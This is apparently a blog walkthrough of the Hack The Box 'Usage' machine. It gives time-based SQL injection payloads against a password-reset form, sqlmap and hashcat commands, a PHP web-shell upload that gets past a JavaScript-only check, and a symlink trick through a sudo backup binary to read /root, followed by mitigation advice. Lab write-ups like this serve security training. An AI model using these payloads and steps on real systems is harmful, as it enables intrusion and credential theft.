HTB Walkthrough, Usage

Introduction

Greetings, security enthusiasts!
I’m glad to share a comprehensive guide CTF challenge centered around a Linux environment, specifically the usage.htb machine.
This task required a blend of skills from uncovering SQL injections to executing privilege escalation techniques effectively.

Initial Reconnaissance

Initial Network Scanning

A preliminary scan was performed using nmap, which identified an open HTTP service on port 80. The web server was determined to be running a Laravel application.

Service Enumeration

Further enumeration of the HTTP service revealed potential entry points for attack, particularly focusing on user inputs and server behaviors.

Exploitation

SQL Injection
The ‘forget password’ feature of the web application was found to be vulnerable to boolean time based SQL injection. By carefully crafting SQL payloads, sensitive information was extracted, including database schema and user credentials.

Note:
Below I specially will not disclose crucial information about the table names, column names and etc.
Try Harder.

Also, here I could apply an extensively used SQLMAP tool with a lot of noise, though it’s not my way.
Below, after my manual approach and explanation you could find additional information about it.

Payload #1:

#Time-based SQL Injection, check version
_token=<token>&email=' union select 1,2,3,4,5,6,7,(IF(MID(version(),1,1) = 7, BENCHMARK(800000,SHA1('true')), false))#

Payload Analysis:

  • MID(version(),1,1) = 7:

    MID(version(), 1, 1):
    This function extracts a substring from the result of the version() function, which returns the version of the SQL server. Specifically, MID(version(), 1, 1) extracts the first character of the version string.

    = 7:
    This condition checks if the first character of the database version number is ‘7’. If the condition is true, it implies that the server is running a major version starting with 7 (e.g., MySQL 7.x).

  • BENCHMARK(800000, SHA1(‘true’)):

    BENCHMARK(count, expr):
    This function repeatedly executes the expression (expr) a specified number of times (count). Here, it executes SHA1(‘true’) 800,000 times.

    SHA1('true'):
    This computes the SHA1 hash of the string “true”. The choice of this string is arbitrary and does not affect the outcome other than causing the database to perform some computational work.
    The purpose of using BENCHMARK in this context is to deliberately consume CPU resources for a noticeable amount of time, making the database’s response noticeably slower if the version check condition is met.

  • False:

    This is simply the false branch of the IF statement. If the condition MID(version(), 1, 1) = 7 is false, the query returns false.
    This branch is computationally inexpensive and results in a quick response, thus creating a measurable difference in response time based on whether the condition is true or false.

Note:
The MID() function extracts a substring from a string (starting at any position).
MID(string, start, length)


The IF() function returns a value if a condition is TRUE, or another value if a condition is FALSE.
IF(condition, value_if_true, value_if_false)

Payload #2:

#Retrieve name of database letter by letter
_token=<token>&email=' union select 1,2,3,4,5,6,7,if(mid(database(),10,1)="i",BENCHMARK(1900000,SHA1('true')),222)#

#Retrieve table name and columns names
Especially interesting here with this payload if result of query is False, the server response with 500 and instead if user exists, status 200.
I guess that this behavior based on MYSQL exists() function, furthermore here I have faced with Error Bases SQL Injection.
_token=&email=' union select 1,2,3,4,5,6,7,if(exists(select * from DATABASE_NAME.TABLE_NAME),BENCHMARK(120000,SHA1('true')),222)#
_token=&email=' union select 1,2,3,4,5,6,7,if(exists(select COLUMN_NAME DATABASE_NAME.TABLE_NAME),BENCHMARK(120000,SHA1('true')),222)#

Payload #3:

#Get admin hash letter by letter with hex compare
_token=<token>&email=' union select 1,2,3,4,5,6,7,if(hex(mid((SELECT password from DATABASE_NAME.TABLE_NAME where username = "admin"),1,1))=39,BENCHMARK(1400000,SHA1('true')),222)#

Note:
This HEX() function in MySQL is used to return an equivalent hexadecimal string value of a string or numeric Input.
It is important to use the function HEX() here, cause the MYSQL select query is case insensitive.

MySQL SELECT queries are case-insensitive when comparing strings, as long as the collation of the relevant column is case-insensitive. Most default collations in MySQL are case-insensitive, making string comparisons in SELECT queries insensitive to case differences by default.

Lab tests and explanation :

Thus, I have found a solution to avoid case insensitive results and could fetch the full correct hash of the user.


Exploit writing with Python

Of course this process of getting a hash is too long for manual mode and for this reason I have written a python script that could fetch the hash from the server based on this technique.

As a result I have found the hash of the admin user:

SQLMAP approach:
I have gathered the command for somebody who wants to provide this attack with full automatic mode using the Sqlmap tool.
Command line for script kiddies:

sqlmap -l /tmp/1.log --prefix="'" --suffix="#" --technique=BUT --skip-urlencode --tamper=custom_tamper.py --dbms=mysql -v 4 --level 2 --risk 2 -D [db_name] -T [table_name] -C [columns] --dump --union-from="[table_name]" --union-cols=8 --not-string="Server Error"

/tmp/1.log – burp file
custom_tamper.py – it’s my own tamper which replace SLEEP to BENCHMARK

Password cracking

The hashed passwords retrieved via SQL injection were subjected to offline brute-force attacks using hashcat, exploiting known weaknesses in the hashing algorithm to recover plaintext passwords.
I have successfully cracked this bcrypt hash (based on the Blowfish cipher) with using hashcat and have got clear text password.

hashcat -m 3200 -a 0 hash.txt /opt/dictionary/10-million-password-list-top-1000000.txt -w 3 -O

Unrestricted file upload

Now after obtaining the clear text password of the admin I could authenticate through the admin web panel at http://admin.usage.htb/.
Via the admin panel I have faced changing profile image functionality .
Analysis of the application’s file upload feature for user avatars revealed improper file validation checks, allowing the execution of arbitrary code by uploading a PHP shell.
I have faced only one attempt from the web site to not allow uploading our PHP web shell. It’s just Javascript, but as you know it allow to us to bypass it easily with direct upload via Burp Suite for example.

Thus I’ve uploaded my own web shell and obtained Remote Code Execution on the server.
The uploaded PHP shell was utilized to gain an interactive shell on the server, paving the way for further internal reconnaissance and exploitation.
After a few minutes I’ve found id_rsa private key of user ‘dash’.

Privilege escalation

Successfully logged in through SSH using dash’s private key.

>> ssh -i id_rsa [email protected]
Have found local flag: 6d592dcf456fe681b659c0c7ae3016f9

Investigating user privileges, I’ve identified a .monitrc file with a clear text password.

dash@usage:~$ cat .monitrc
#Enable web access
set httpd port 2812
use address 127.0.0.1
allow admin: 3nc<CENSORED>0rd

After that, I decided to check other existing users on the target machine and tried to log in with the obtained clear text password.

dash@usage:~$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
dash:x:1000:1000:dash:/home/dash:/bin/bash
xander:x:1001:1001::/home/xander:/bin/bash


I successfully authenticated using the command su xander. This access allowed me to operate under the privileges of the ‘xander‘ user.

Upon gaining access as user ‘xander’, I explored further privilege escalation possibilities by checking sudo privileges with sudo -l. The output confirmed that user ‘xander’ had the capability to execute /usr/bin/usage_management as root without requiring a password. Analyzing the binary with the strings command revealed its functions:

It managed backups, including zipping files in /var/www/html
Dumping MySQL databases, and resetting the admin password.

These options presented potential vectors for exploitation.

xander@usage:/home/dash$ sudo -l
User xander may run the following commands on usage:
(ALL : ALL) NOPASSWD: /usr/bin/usage_management


#elf file usage_management making backup in /var/www/html folder

xander@usage:/home/dash$ strings /usr/bin/usage_management

/var/www/html
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
Error changing working directory to /var/www/html
/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql

Password has been reset.
Choose an option:
Project Backup
Backup MySQL data
Reset admin password
Enter your choice (1/2/3):

Note:
Only user dash has write permissions in /var/www/html/folder.
By this reason I have switched back to ‘dash’ user to continue my attack flow.


To exploit this, I created a symbolic link from /var/www/html to /root using ln -s /root r, successfully linking the root directory to a web-accessible location, assuming improper web server configurations might allow directory listing.
This was confirmed by listing contents in /var/www/html, which showed the symlink 'r' pointing to /root.

[create symbolic link to the root folder via dash]

dash@usage:/var/www/html$ ln -s /root r
dash@usage:/var/www/html$ ls -la
lrwxrwxrwx 1 dash dash 5 Apr 19 23:40 r -> /root


After that, I’ve executed the usage_management script with sudo, choosing the option to backup projects, which zipped the contents of /var/www/html (now including the symlinked /root directory). The resulting archive project.zip was then copied from /var/backups to /tmp/.tmp and extracted.
Within the extracted directory, navigating into the symlink ‘r’ (pointing to /root), I’ve accessed to the root.txt file and other interesting files including id_rsa private key.

xander@usage:/tmp/.tmp$ sudo /usr/bin/usage_management
1
xander@usage:/tmp/.tmp$ cp /var/backups/project.zip .
xander@usage:/tmp/.tmp$ unzip project.zip
xander@usage:/tmp/.tmp/r$ cat root.txt
fe002ea0dfbd7bf43627ce87b524471e


This series of actions not only demonstrated significant misconfigurations and lax security practices (such as allowing a normal user sudo access to a script that interacts with critical directories without sufficient safeguards) but also underscored the importance of rigorous permissions management and secure programming practices.

Mitigation

SQL injection:

  • Most instances of SQL injection can be prevented by using parameterized queries‬
    (also known as prepared statements) instead of string concatenation within the‬
    query.
  • Parameterized queries can be used for any situation where untrusted input appears‬ as data within the query, including the WHERE clause and values in an INSERT or‬ UPDATE statement. They can’t be used to handle untrusted input in other parts of‬ the query, such as table or column names, or the ORDER BY clause. Application‬ functionality that places untrusted data into those parts of the query will need to‬ take a different approach, such as white-listing permitted input values, or using‬ different logic to deliver the required behavior.
  • For a parameterized query to be effective in preventing SQL injection, the string‬ that is used in the query must always be a hard-coded constant, and must never‬ contain any variable data from any origin. Do not be tempted to decide‬ case-by-case whether an item of data is trusted, and continue using string‬ concatenation within the query for cases that are considered safe. It is all too easy‬ to make mistakes about the possible origin of data, or for changes in other code to‬ violate assumptions about what data is tainted.

Unrestricted File Upload:

In short, the following principles should be followed to reach a secure file upload implementation:

  • List allowed extensions. Only allow safe and critical extensions for business functionality
  • Ensure that input validation is applied before validating the extensions.
  • Validate the file type, don’t trust the Content-Type header as it can be spoofed
  • Change the filename to something generated by the application
  • Set a filename length limit. Restrict the allowed characters if possible
  • Set a file size limit
  • Only allow authorized users to upload files
  • Store the files on a different server. If that’s not possible, store them outside of the webroot
  • In the case of public access to the files, use a handler that gets mapped to filenames inside the application (someid -> file.ext)
  • Run the file through an antivirus or a sandbox if available to validate that it doesn’t contain malicious data
  • Ensure that any libraries used are securely configured and kept up to date
  • Protect the file upload from CSRF attacks

Conclusion

I hope this breakdown helps you understand some of the techniques and thought processes involved in tackling CTF challenges. Each step was crucial in navigating through layers of security, leading to the successful compromise this Linux machine: usage.htb

Let’s keep pushing the boundaries of what we can learn through these simulations! Happy hacking! 🌟


Funnymaker Avatar

Leave a Reply

Your email address will not be published. Required fields are marked *

More Articles & Posts